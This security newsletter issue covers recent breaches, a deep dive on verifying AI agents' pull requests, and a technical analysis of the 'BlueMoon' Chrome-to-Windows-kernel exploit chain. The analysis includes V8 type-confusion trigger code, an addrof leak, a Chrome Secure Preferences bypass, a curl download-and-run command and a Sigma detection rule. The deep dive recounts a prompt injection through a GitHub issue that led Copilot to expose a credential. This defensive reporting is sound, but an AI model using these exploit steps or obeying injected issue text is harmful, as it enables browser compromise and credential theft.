Stripe reported that more than 1,300 pull requests written entirely by agents are being merged each week. The agents receive tasks, examine projects, modify code, run tests and return proposed changes for human review.
That speed changes the bottleneck. Human review can assess the finished code, but it cannot undo actions an agent has already taken while producing it.
This week, we look at how the agentic software development lifecycle changes what teams need to verify, secure and control before code reaches production.
Also inside: attackers reaching Artifactory administrator access in under five minutes, active exploitation of a maximum-severity GitLab flaw, a malicious email targeting Cisco Secure Email Gateway, automated secret hunting across 1.8 million Android packages, passkey-themed cloud intrusions, reFlutter for analyzing Flutter applications and more.
Inside this issue
🌡️ Threat Level: High Alert
⚡ News: Five security stories worth catching up on
🔎 Deep Dive: 1,300 AI-Written PRs a Week. Who Verifies Them?
🎣 Is It a Phish?
🔬 Technical Research: When the Upstream Fix Becomes the Zero-Day: Inside the “BlueMoon” Browser-to-Kernel Exploit Chain
🛠️ Tool of the Week: reFlutter
👏 Person of the Week: Steve Springett
📅 Event of the Week: FOSDEM 2027
📚 Book of the Week: Fuzzing Against the Machine
😅 The Meme
❓ One Question Before You Leave
Let’s dig in.
🌡️ Threat Level
⚡ News
From anonymous access to Artifactory admin in under five minutes
Wiz’s September 10 investigation, confirmed by JFrog’s security advisories, found attackers chaining CVE-2026-42018 and CVE-2026-42016 against self-hosted Artifactory servers. One flaw exposed an anonymous-user token; the other elevated its permissions. Some intrusions reached a new administrator account in under five minutes, followed by malicious plugins and Rust backdoors. Patch, then review accounts, tokens and plugins for persistence.
GitLab’s maximum-severity file-read flaw is now actively exploited
GitLab’s September 10 patch release fixed CVE-2026-85706, a CVSS 10.0 vulnerability in the repository commits API. Under certain conditions, unauthenticated attackers can read arbitrary server files, potentially exposing configuration and credentials. BleepingComputer reported that CISA added the flaw to its Known Exploited Vulnerabilities catalog. Upgrade self-managed installations and investigate possible secret exposure.
A crafted email can give attackers root access to Cisco’s gateway
Cisco’s September 14 advisory confirms active exploitation of CVE-2026-76461, a CVSS 9.8 flaw in Secure Email Gateway. A malicious email can trigger SQL injection and lead to commands running with root privileges on vulnerable physical or virtual appliances. The Hacker News reported that Cisco has contacted customers where malicious activity was detected. Patch immediately and check external network and firewall logs.
1.8 million Android packages scanned in an automated hunt for secrets
Anthropic’s September threat report describes a Claude-assisted operation that downloaded 1.8 million distinct Android APKs, decompiled them and searched for hardcoded secrets. BleepingComputer reported that verified findings fed a credential-harvesting operation alongside a separate GitHub-token pipeline. Inspect compiled releases for reusable secrets and revoke exposed credentials, since future releases do not invalidate older copies.
A passkey update request becomes the opening for cloud intrusion
Microsoft’s September 9 investigation describes attackers impersonating IT staff and urging employees to update passkeys or sign-in settings. The pretext steers victims into phishing or device-code approvals that grant account access. The Hacker News reported that attackers then added authentication methods and collected email and cloud files. Correlate sign-ins, authentication changes and bulk data access, then revoke sessions and remove unauthorized methods.
🔎 Deep Dive:
1,300 AI-Written PRs a Week. Who Verifies Them?
In February 2026, Stripe reported that more than 1,300 pull requests written entirely by AI agents were being merged each week.
At that scale, producing code becomes faster than checking whether it can be trusted.
Stripe’s coding agents receive a task from an engineer, examine the project, modify the code, and run checks. They use the results to attempt corrections before returning the proposed changes for human review. The engineer reviews what comes back without directing every step in between.
Human review can assess the finished code, but it cannot undo actions the agent has already taken while producing it.
For example, if the agent sends confidential project information to an outside service during the task, rejecting its code afterward cannot undo the disclosure.
This way of dividing the work is the basis of the agentic software development lifecycle, or agentic SDLC.
The same model can extend beyond coding and testing to cover planning, design, coding, testing, review, and maintenance. People set the goals and make important decisions, while agents carry out more of the work.
That raises two security questions: Can teams trust what agents produce? And can they control what agents do before the work reaches review?
Why final review is not enough
Orca’s RoguePilot research shows what can happen before a pull request reaches a reviewer.
Note: RoguePilot relied on a specific GitHub Codespaces exploit chain that has since been remediated.
Hidden instructions in a GitHub issue were passed to GitHub Copilot inside Codespaces. Combined with weaknesses in the surrounding tools, they could expose an access credential and allow an attacker to take control of the repository.
By the time a reviewer sees the pull request, that credential may already be exposed. Rejecting the resulting pull request cannot undo that compromise.
The pull request is not the only thing that needs to be secured. The agent’s access and actions matter too.
Responsibility starts before review
RoguePilot shows why final code review cannot be the only checkpoint. Responsibility begins when the task is defined and continues through building, verification, and release.
Human and agent roles across the SDLC. Based on Claude Academy and CodeRabbit.
Final review is only one checkpoint. Security has to shape the task, limit what the agent can access and do, verify the result, and control what reaches production.
What an agent needs before it acts
Before an agent can work safely and effectively, it needs more than a task title.
“Make checkout faster” sounds clear. But it could mean loading the page faster, removing steps for the customer, or confirming payments sooner. Each interpretation could lead to a different change.
Four pieces of information make the task clear:
A clear outcome. The intended result should explain what “faster” means, how improvement will be measured, and what must not change. That includes security requirements, such as ensuring customers can access only their own orders.
Current project context. The agent should understand how checkout works, which systems it connects to, the project’s coding conventions, and the tests that describe the expected behavior.
Previous decisions. Earlier attempts may have failed or been rejected for reasons the agent cannot discover from the current code. Recording those lessons in shared project guidance helps prevent the same mistakes from returning.
One authoritative source of truth. Coding agents, testing agents, and reviewers should work from the same approved requirements. When a decision changes, that update must reach everyone involved.
If a new checkout requirement reaches the coding agent but not the testing agent, both may continue working against different versions of the task. The code may appear correct while the tests are checking the wrong behavior.
An agent can complete the wrong task very efficiently. Clear, current direction is what turns speed into useful work.
Verifying what agents produce
A clear task tells an agent what it should build. It does not prove that the result works.
Testing during the task
An agent can modify the code, run checks, examine failures, and try again. Each result helps it decide what to correct next.
In the checkout example, a test might reveal that the proposed change records an order twice. The agent can investigate the failure, revise the code, and rerun the test.
That correction still leaves other questions unanswered. Does payment confirmation work? Are existing order records preserved? Can each customer access only their own information?
A passing test is evidence of one checked behavior, not proof that the entire change is safe.
Broader checks before approval
Before approval, the proposed change goes through wider verification. That can include more comprehensive tests, code analysis, security checks, and human review.
Each check answers a different question. A successful purchase only proves that the feature works when everything goes right. It could still fail when a payment is declined or expose one customer’s information to another.
Approval therefore depends on knowing what was checked, which requirements those checks cover, and what remains unresolved.
When verification falls behind
Agents may produce changes faster than people can examine them. Proposed work then begins to accumulate between implementation and approval.
Sonar calls this backlog “verification debt”: work that has been produced but whose reliability and security have not yet been established.
The time saved in writing code can become time spent reviewing test results, investigating failures, and deciding what is ready to release.
Repeated correction attempts also consume time and computing resources. In its published Minions workflow, Stripe allows at most two rounds of broader automated tests before returning the work to a person for closer examination.
The bottleneck has moved. Producing code is becoming easier than proving that it is ready.
Controlling agent access and actions
Verification examines the result an agent produces. It does not determine what the agent can access or do while producing it.
An agent working on checkout may need permission to change project files and use a test environment. It does not necessarily need access to live customer records, production payment settings, or every connected system.
Give agents only the access the task requires
Access should match the work being performed. Files, tools, accounts, and systems that are not required for the task remain unavailable.
Some actions also carry more risk than others. Reading a test file is different from changing production data or sending information to an outside service. Higher-impact actions can pause until a person approves them.
Enforce limits with permissions and isolated environments
A written instruction can tell an agent not to access a system. It cannot prevent that access if the agent already has permission.
Controls outside the model provide that boundary. These can include restricted accounts, tool permissions, isolated development environments, limits on outside connections, and approval requirements.
If the agent behaves unexpectedly or follows misleading instructions, those controls restrict how far it can go.
Record what the agent accessed and did
Approval becomes stronger when it covers more than the final code. The task record can show which files the agent accessed, which tools it used, what changes it made, and which actions received human approval.
That evidence helps reviewers understand not only what the agent produced, but how it arrived there.
An instruction tells an agent what it should do. Permissions determine what it can do.
Preparing for agentic SDLC
Agentic SDLC does not remove human responsibility. It moves it.
As agents take on more implementation, testing, and investigation, people spend more time defining the task, setting limits, examining the evidence, and deciding what reaches release.
This makes weaknesses in the surrounding development process more consequential. An unclear requirement can send an agent toward the wrong goal. Excessive access can increase the damage of a mistake. Incomplete tests can create confidence in a change that is not ready.
Faster execution can carry those weaknesses further before someone notices them.
Preparing for this shift means giving agents clear direction, limiting what they can access and do, and verifying their work before release. The time spent maintaining those controls, reviewing results, and resolving failures belongs in any assessment of the gains.
The real measure of progress will not be how much code agents produce, but how much of it teams can verify, secure, and confidently release.
🎣 Is It a Phish?
An email from “Microsoft account team” lands in your inbox with a single-use security code. You haven’t tried to sign in or requested one.
Take a closer look at the message and its sender details.
Legitimate Microsoft email or phishing attempt?
🔬 Technical Research
When the Upstream Fix Becomes the Zero-Day: Inside the “BlueMoon” Browser-to-Kernel Exploit Chain
Can an open-source security patch weaponize attacks against three billion browsers before the update ever ships?
A browser security architecture is designed under the assumption of layered containment: if the JavaScript engine fails, the user-space sandbox traps the crash; if the sandbox falters, the operating system kernel enforces process isolation. The “BlueMoon” exploit kit dismantled every layer of that defense in under ten seconds:
Web Worker → inlined sort type confusion → V8 sandbox escape → Windows kernel ALPC LPE → Medium-Integrity broker sandbox breakout
The campaign weaponized two Google Chrome zero-days alongside a Microsoft Windows kernel local privilege escalation zero-day. Disclosed on September 9, 2026, by Proofpoint and Volexity, BlueMoon was deployed in the wild by state-aligned threat actors, including JungleBamboo (APT31 / TA412) and UTA0560, against defense, diplomatic, and non-governmental organizations.
What makes BlueMoon historically significant is not merely its technical elegance, but its timing. The primary vulnerability, CVE-2026-85046, was reported to the Chromium project on August 4, 2026, and fixed in the public open-source Git repository on August 7. Yet the compiled stable update (Google Chrome 153) did not reach user desktops until September 3. Attackers reverse-engineered the public source-code diff during this four-week “patch gap,” weaponizing an upstream patch into a zero-day against a global installed base.
Both Chrome and Windows vulnerabilities were subsequently mandated for emergency remediation in CISA’s Known Exploited Vulnerabilities (KEV) catalog.
┌────────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ THE BLUEMOON EXPLOIT ARCHITECTURE │
└────────────────────────────────────────────────────────────────────────────────────────────────────────┘
[ Spear-Phishing / Reflected XSS ]
│
▼
┌──────────────────────────────┐
│ HTML Exploit Stager │ • Hidden iframe loads page.html (BUILD: b20260829a)
│ (Files1.html + react.js) │ • Decoy donation form displayed to mask background activity
└──────────────┬───────────────┘
│ Spawns dedicated Web Worker (isolates renderer crashes; 5x retry loop)
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 1: V8 TYPE CONFUSION (CVE-2026-85046) │
│ • Array.prototype.sort inlining bug in Maglev/TurboFan (TryReduceArrayPrototypeSort) │
│ • Element kind backwards migration via mid-sort Array.prototype.fill(0) │
│ • Result: PACKED_ELEMENTS confused as PACKED_SMI_ELEMENTS -> addrof & fakeobj heap primitives │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Arbitrary Read/Write within 4GB V8 Heap Cage
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 2: V8 SANDBOX ESCAPE (CVE-2026-87491) │
│ • WebAssembly instance metadata (WasmInstanceObject) and function jump tables corrupted │
│ • Overwrites compiled executable code pointers (RWX pages) │
│ • Executes embedded reflective shellcode (p1: Host Reconnaissance DLL) │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Low-Integrity / Untrusted Renderer Process Context
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 3: WINDOWS KERNEL LPE (CVE-2026-85880) │
│ • Executes reflective DLL payload p2 targeting ntoskrnl.exe (RtlpCreateServerAcl) │
│ • ALPC / WNF heap buffer overflow -> Kernel Read/Write │
│ • Locates renderer EPROCESS token -> elevates privileges & enables SeDebugPrivilege │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│ Elevated Token Privilege
▼
┌──────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ STAGE 4: BROKER INJECTION & SANDBOX BREAKOUT (Payload pp) │
│ • Injects shellcode into parent Chrome Browser Broker process (Medium Integrity) │
│ • Calls CreateProcessA() to execute command outside the sandbox: │
│ cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe" │
└──────────────────────────────┬───────────────────────────────────────────────────────────────────────┘
│
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────────────────┐┌──────────────────────────────┐
│ CAMPAIGN A: UTA0560 ││ CAMPAIGN B: JUNGLEBAMBOO │
│ • Sideloads wsc.dll via ││ • SUPERSTOMP loader bypasses │
│ msgbox.exe dropper ││ Chrome Secure Preferences │
│ • Scheduled Task persistence ││ • Recalculates legacy │
│ • In-memory GRIMWEDGE ││ super_mac HMAC │
│ JScript C2 backdoor ││ • Deploys LONGTALE extension │
│ inside msiexec.exe ││ (masquerading as Gemini AI)│
└──────────────────────────────┘└──────────────────────────────┘ 1. The Sorting Assumption & V8 Heap Cage Breach (CVE-2026-85046)
To accelerate JavaScript execution, V8’s optimizing compilers (Maglev and TurboFan) aggressively eliminate call overhead for built-in functions. When processing Array.prototype.sort, the compiler checks TryReduceArrayPrototypeSort in src/maglev/maglev-graph-builder.cc. If the array contains fewer than 16 elements and has known homogeneous elements, the compiler replaces the standard TimSort builtin with a lightweight inlined insertion sort.
checkReceiverMaps();
temp = copy(receiver.elements);
insertionSort(temp, comparefn);
checkReceiverMapsAndLength();
copy(temp, receiver.elements); Because an arbitrary JavaScript comparison function (comparefn) can execute arbitrary side effects, V8 does not sort the array in place. Instead, it copies the elements into a temporary FixedArray, runs the insertion sort on that copy, and copies the sorted results back into the receiver’s backing store.
Before writing back the results, V8 validates that the receiver’s layout did not change during the comparator’s execution using a CheckMaps guard:
// src/maglev/maglev-graph-builder.cc
if (receiver_maps_were_unstable) {
RETURN_IF_ABORT(AddNewNode<CheckMaps>(
{receiver}, receiver_maps_before_loop, CheckType::kOmitHeapObjectCheck));
}The fatal flaw was structural: the compiler verified that the array’s current map was one of the maps observed before the loop began (receiver_maps_before_loop), rather than verifying that the map remained identical to its original pre-sort type.
By warming the JIT function with both integer arrays (PACKED_SMI_ELEMENTS) and object arrays (PACKED_ELEMENTS), the feedback vector records both maps as valid candidates:
function confuse(arr) {
function compare() {
arr.fill(0); // Mutates element kind backwards mid-sort!
return 0;
}
arr.sort(compare);
}
// Train Maglev to accept both SMI and Object maps
for (let i = 0; i < 1000; i++) {
confuse([6, 9, 4, 2, 0]);
confuse([{}, {}, {}]);
}
[Figure 1: A mechanical sorting arm mislabeling complex object pointers with integer tags, slipping them past the security guard into the restricted V8 heap cage]
Under normal V8 rules, array element kinds only transition forward from specific to general (PACKED_SMI → PACKED_ELEMENTS). An array of objects cannot spontaneously convert into an array of integers. However, Array.prototype.fill() contains a specialized optimization: when replacing every element of an array, V8 recognizes that old values do not survive and migrates the map backwards:
// src/builtins/builtins-array.cc: is_replacing_all_elements branch
// For the case where we are replacing all elements, we can migrate the
// map backwards in the elements kind chain and ignore the current contents.
JSObject::SetMapAndElements(isolate, array, new_map, elements);When arr.fill(0) fires inside compare(), the receiver’s map is immediately demoted to PACKED_SMI_ELEMENTS. When the sort routine finishes, V8’s flawed CheckMaps passes because PACKED_SMI_ELEMENTS was part of the training set. V8 then blindly copies the sorted object pointers from temp back into the receiver.
The result is catastrophic: an array that the JavaScript engine treats as holding Small Integers (Smis) actually contains raw 32-bit tagged object pointers.
Live Reproduction Verification
Testing this primitive in Google Chrome produces an instant memory corruption leak:
let bad = [{}, {}];
confuse(bad);
// Calling String() formats elements according to the PACKED_SMI map:
// Rather than returning "[object Object],[object Object]", it prints raw pointer integers!
let raw_leaks = String(bad);
// Output: "9055778,9055796"
// Reconstructing the 32-bit V8 Cage Compressed Pointer:
let addrof_target = (Number(raw_leaks.split(',')[0]) << 1) | 1;
// Output: 0x1145c45
[Figure 2: Live reproduction in Chrome 150 displaying the V8 Maglev type-confusion mutation and compressed heap pointer extraction via the addrof primitive]
Because V8 treats the elements as Smis, reading through helper methods leaks the heap offset directly (addrof). To achieve the inverse primitive (fakeobj), BlueMoon skips V8’s garbage collector write barrier by invoking Array.prototype.unshift(0) on an Old Space array, shifting tagged pointers into unmanaged slots and crafting a forged Float64Array with arbitrary read/write access across the V8 heap.
2. Breaking the V8 Sandbox Cage (CVE-2026-87491)
Google introduced the V8 Sandbox (heap cage) specifically to neutralize engine memory corruption. Even if an attacker achieves arbitrary memory read/write within the 4GB V8 virtual address space, pointers outside the cage are encoded as 32-bit indices against a base register (r14), preventing direct writes to host memory, stack frames, or executable code.
BlueMoon bypassed this boundary using CVE-2026-87491, targeting the internal metadata structures of WebAssembly.
[Figure 3: A linear mechanical chain reaction showing execution flowing from a background Web Worker through WebAssembly and Windows Kernel ALPC to host broker execution]
While JavaScript objects are confined to the 4GB cage, the WebAssembly engine requires high-speed access to native executable code pages. A compiled WebAssembly instance (WasmInstanceObject) holds direct 64-bit function jump tables and memory descriptor references pointing to native memory.
By using its V8 heap arbitrary read/write primitive, BlueMoon:
Scans the heap to locate the target WasmInstanceObject.
Corrupts the instance’s internal jump table pointers and memory bounds.
Redirects the jump table targets to an executable page containing position-independent shellcode.
Invokes the exported WebAssembly function from JavaScript, immediately breaking out of the V8 Sandbox into native 64-bit CPU execution inside the Chrome renderer process.
The entire exploit chain runs inside a background Web Worker spawned from a Blob URL by the page-side stager (page.html). If an unrecoverable crash occurs during heap manipulation, only the worker thread dies; the visible browser tab remains completely unaffected. The main-window stager script tracks execution attempts in sessionStorage[’v8ctf_exp_attempt’], silently re-spawning the worker up to five times upon thread termination.
3. Escaping the Sandbox: Kernel ALPC LPE & Sandbox Breakout (CVE-2026-85880)
Escaping the V8 sandbox lands the attacker in native code, but still inside Google Chrome’s hardened renderer sandbox. The renderer process runs at Untrusted / Low Integrity inside a restricted AppContainer with:
Zero write access to the filesystem.
Restricted access to the network stack.
Disallowed inter-process handles.
To escape the operating system sandbox, BlueMoon deploys three sequential position-independent payloads pre-staged in memory:
1. Payload p1: Host Telemetry & Integrity Probe
p1 is a position-independent loader that reflectively unpacks a 64-bit reconnaissance DLL. It surveys the host environment without taking disruptive actions:
Extracts exact Windows build numbers, kernel revision, and CPUID features.
Enumerates process token privileges, token groups, and integrity level.
Detects virtualization and sandbox artifacts (distinguishing VMware, Hyper-V, KVM, and Xen via hypervisor vendor CPUID strings).
The DLL serializes this data into a JSON profile returned to JavaScript. The calling script inspects the Windows build number to determine whether the kernel exploit is viable.
2. Payload p2: Windows Kernel Privilege Escalation (CVE-2026-85880)
If the host runs Windows 10 (builds 1809 through 22H2), Windows Server 2022, or Windows 11 21H2, the script triggers p2.
p2 is a single-purpose Windows kernel zero-day exploit targeting RtlpCreateServerAcl within the Advanced Local Procedure Call (ALPC) and Windows Notification Facility (WNF) subsystem of ntoskrnl.exe. By transmitting a malformed ALPC message attribute structure from the low-integrity renderer process, the exploit triggers a kernel heap buffer overflow.
The exploit manipulates kernel memory to:
Locate the calling Chrome renderer process’s EPROCESS structure.
Overwrite the process’s primary TOKEN structure.
Enable SeDebugPrivilege and elevate the renderer’s security context.
3. Payload pp: Browser Broker Injection & Sandbox Breakout
While the kernel exploit manipulates the renderer’s TOKEN to grant SeDebugPrivilege and elevate access, spawning processes directly from the renderer would leave them confined within the AppContainer and isolated window station. To achieve unconfined desktop execution with full filesystem and network privileges, the pp shellcode stub leverages its elevated kernel privileges to open a handle (PROCESS_ALL_ACCESS) to the parent Chrome browser broker process.
Because the browser broker runs at standard Medium Integrity within the interactive user session, injecting shellcode into the broker allows pp to call CreateProcessA outside the sandbox:
cmd.exe /c curl -sS -o "%TEMP%\msgbox.exe" "<exeUrl>" && "%TEMP%\msgbox.exe"The breakout is complete. What began as an unprivileged script inside a sandboxed Web Worker now executes arbitrary binaries in the user’s interactive desktop environment.
4. In-the-Wild Campaigns & Divergent Post-Exploitation
While UTA0560 and JungleBamboo used byte-for-byte identical exploit stagers (page.html, p1, p2, and pp), their post-exploitation operations diverged completely once the initial dropper executed:
[Figure 4: Forensic view correlating Chrome Secure Preferences tampering, Gemini extension masquerading, command-line curl executions, and scheduled task persistence]
Campaign A: UTA0560 and the GRIMWEDGE Backdoor
UTA0560 targeted non-governmental organizations using phishing emails that exploited a reflected XSS flaw on a US university website to redirect victims to cloud[.]shinewrist[.]net.
Dropper (msgbox.exe): Compiled August 31, 2026. Extracts a legitimate Windows binary and a malicious sideloading DLL (wsc.dll).
Persistence: Creates a Windows Scheduled Task named “Windows Scheduled System” configured to re-execute the sideloading chain every 5 minutes.
Staging: Beacons to hxxps://cloud[.]shinewrist[.]net/<path>/%COMPUTERNAME%.txt, fetching a machine-specific MSI payload (Temp.txt).
GRIMWEDGE Backdoor: The MSI extracts an obfuscated JScript payload evaluated directly in-memory within msiexec.exe. GRIMWEDGE is a compact 250-line backdoor supporting ten remote commands: directory enumeration, process termination, file transfer, and hidden command execution.
Campaign B: JungleBamboo and LONGTALE Extension Hijacking
JungleBamboo (APT31) bypassed malware deployment entirely, focusing instead on stealthy credential harvesting via SUPERSTOMP and LONGTALE.
SUPERSTOMP targets Chrome’s profile directory to install a persistent extension disguised as the official “Google Gemini AI Assistant” (Extension ID: ckiknalbeplpcpofpnabcnhjcegckfei).
To install an extension silently without triggering Chrome’s security alerts, SUPERSTOMP defeats Chromium’s integrity verification:
Chromium verifies the profile’s Secure Preferences JSON file using HMAC authenticators (per-preference *_encrypted_hash and super_encrypted_hash).
SUPERSTOMP copies Secure Preferences, strips out all modern encrypted hash fields, and inserts the malicious extension configuration.
It calculates valid legacy HMAC hashes and updates the file’s super_mac.
Because Chrome permits fallback to legacy HMACs when encrypted authenticators are absent, the browser validates the forged file upon startup, marks the profile as needing migration, and automatically generates valid encrypted hashes for the attacker’s extension.
Once loaded, LONGTALE operates entirely within Chrome’s security context:
Records keystrokes, form inputs, and clipboard paste events across all tabs.
Extracts cookies and localStorage / sessionStorage tokens.
Captures automated screenshots whenever user navigation matches sensitive keyword triggers.
Communicates with C2 servers hosted behind Cloudflare Tunnels (cfargotunnel[.]com).
5. Defensive Playbook & Forensic Telemetry
Detecting exploit chains that execute primarily in-memory requires monitoring the boundaries where browser processes interact with the operating system.
1. Endpoint Process Telemetry & Sigma Rules
In standard operations, neither Google Chrome’s browser broker process nor its isolated child processes should spawn Windows system utilities, command interpreters, or network clients. Because BlueMoon escapes the sandbox by injecting shellcode into the parent Chrome browser broker (chrome.exe) and calling CreateProcessA, monitoring anomalous child processes spawned directly by the browser broker provides an effective, high-fidelity detection surface.
title: Suspicious Chrome Process Creation Outside Sandbox
status: experimental
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith: '\chrome.exe'
selection_children:
Image|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\curl.exe'
- '\msiexec.exe'
condition: selection_parent and selection_children
falsepositives:
- Rare enterprise web apps triggering local registered protocol handlers
level: critical2. Investigating Secure Preferences Tampering
To identify stealthy extension installations like LONGTALE:
Inspect Extension Directories: Scan %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions for unlisted extension IDs or sideloaded folders.
Audit Secure Preferences: Monitor writes to Secure Preferences occurring outside the primary browser process lifetime, or sudden regressions where modern encrypted hashes disappear from the file.
3. The “Patch-Gap” Reality
The BlueMoon incident highlights the widening window of vulnerability inherent in open-source security models. When Chromium engineers commit security fixes to public Git repositories, the diff is visible to security researchers and threat actors alike.
Enterprises cannot rely solely on standard monthly patch cycles:
Accelerate Browser Release Cadence: Enable automatic browser updates and enforce policy restarts within 24 hours of stable point releases.
Isolate High-Risk Navigation: Deploy Remote Browser Isolation (RBI) or sandboxed virtual desktop infrastructure for users accessing external email links and untrusted web assets.
Monitor ALPC/Kernel Anomalies: Monitor for unprivileged processes acquiring elevated access masks (PROCESS_ALL_ACCESS) against parent processes.
The BlueMoon exploit chain succeeded not because of a single catastrophic failure, but by systematically leveraging the trust boundaries between disconnected systems: a compiler optimization that trusted element kinds, a WebAssembly engine that exposed raw jump tables, a kernel subsystem that miscalculated an ACL buffer, and a browser integrity validator that gracefully fell back to legacy HMACs.
When the difference between an upstream patch and an enterprise update is four weeks, the fix in the open repository is not a defense. It is the blueprint for the attack.
Sources & Disclosures:
🛠️ Tool of the Week
Setting a device’s proxy is enough to capture a Flutter app’s traffic.
Not always.
reFlutter replaces the Flutter engine bundled with an app to expose internal details and support traffic inspection.
It is an open-source reverse-engineering framework for Flutter applications on Android and iOS.
Think of it as:
a patched Flutter engine + a map of Dart internals + traffic interception support.
What can it do?
Researchers can use reFlutter to:
Extract class and function names
Print some field values
Identify function offsets for further analysis
Help intercept HTTPS traffic through Burp Suite
Bypass some Flutter certificate-pinning implementations
How the patched engine works
Flutter mobile apps compile their Dart code into native machine code for release. The bundled Flutter engine includes the runtime that executes it.
reFlutter substitutes a compatible, modified engine. As the app loads, this engine records structural information about its Dart code in a dump file.
That information can provide starting points for an investigation. A class associated with session management, for example, might help a researcher decide where to examine authentication behavior.
From missing traffic to visible requests
Imagine a researcher assessing a Flutter app with a test account.
The app loads account information, but no corresponding requests appear in Burp Suite.
Dart’s HTTP client connects directly unless proxy resolution is configured. Setting a proxy on the device therefore does not guarantee that these requests will pass through it.
With reFlutter, the researcher can:
Prepare a patched copy of a supported app.
Sign and install it on a test device.
Configure traffic routing for the relevant engine version.
Repeat the action and inspect the requests in Burp Suite.
Use those requests to guide further API testing.
For example, they could examine which account information the server returns and test whether access restrictions hold across different test accounts.
Customizing the analysis
The project includes a Frida script for attaching to functions using offsets from the dump. It can log function calls and inspect memory associated with arguments and return values.
A researcher could adapt this to investigate a particular function while repeating an action in the app, connecting an extracted detail to behavior observed during execution.
Where it struggles
Compatibility depends on the app’s Flutter engine version and device architecture.
Code obfuscation can replace meaningful class and function names with less readable symbols, making the extracted information harder to interpret.
The dump also does not reconstruct the complete original Dart source code.
What it does not replace
An extracted function name is a clue. A captured API request is an observation. Neither establishes a vulnerability by itself.
Researchers still need to examine the logic, test the server’s behavior and reproduce any suspected weakness.
reFlutter helps researchers inspect what a Flutter app contains and how it communicates.
👏 Person of the Week
Steve Springett
This week, we’re highlighting Steve Springett , the creator of OWASP Dependency-Track and founder of CycloneDX.
Steve started Dependency-Track in 2013 to help organizations track the components they use and the risks they inherit. He later founded CycloneDX, which became an international standard in 2024.
CycloneDX provides a common format for software bills of materials (SBOMs), inventories of the components inside an application. Dependency-Track analyzes these inventories for known vulnerabilities and licensing risks, helping security teams identify where affected components are used across their applications.
For building the standards and tools that help organizations understand what’s in their software and manage the risks it carries, Steve Springett is our Person of the Week.
📅 Event of the Week
FOSDEM 2027
If you want to hear directly from the people building the open-source software your applications depend on, FOSDEM 2027 is worth following.
Organised by volunteers, FOSDEM brings more than 8,000 developers to Brussels each year. The event combines technical talks, project stands and community-led “developer rooms”, where contributors discuss specific technologies and share their work.
The 2027 programme is still taking shape. The 2026 edition covered security, software supply chains, digital forensics, containers and mobile development, alongside programming languages and cloud infrastructure. Attendance is free, with no registration required.
📍 ULB Solbosch Campus, Brussels, Belgium
📚 Book of the Week
Fuzzing Against the Machine
By Antonio Nappa and Eduardo Blázquez
How do you test firmware when owning every device is impossible?
Fuzzing Against the Machine explains how researchers can combine QEMU with AFL and AFL++ to run software in an emulated environment, feed it changing inputs and observe failures that may reveal vulnerabilities.
The book begins with the foundations of emulation and fuzzing before moving into practical environments for embedded systems and proprietary firmware. Its examples cover OpenWrt, Samsung’s Shannon baseband, and libraries from iOS and Android. It also shows how debuggers and disassemblers help researchers investigate what a fuzzer discovers.
Its main strength is connecting the tools into one workflow. Readers see how emulation, instrumentation, fuzzing and crash analysis work together during vulnerability research.
It is a useful read for security researchers, firmware engineers and mobile security testers who want a practical introduction to finding vulnerabilities without relying entirely on physical hardware.
😅 The Meme
If an agent’s code passes every test, what would your team still need to know before approving its work?
The Breach Brief, Ostorlab Team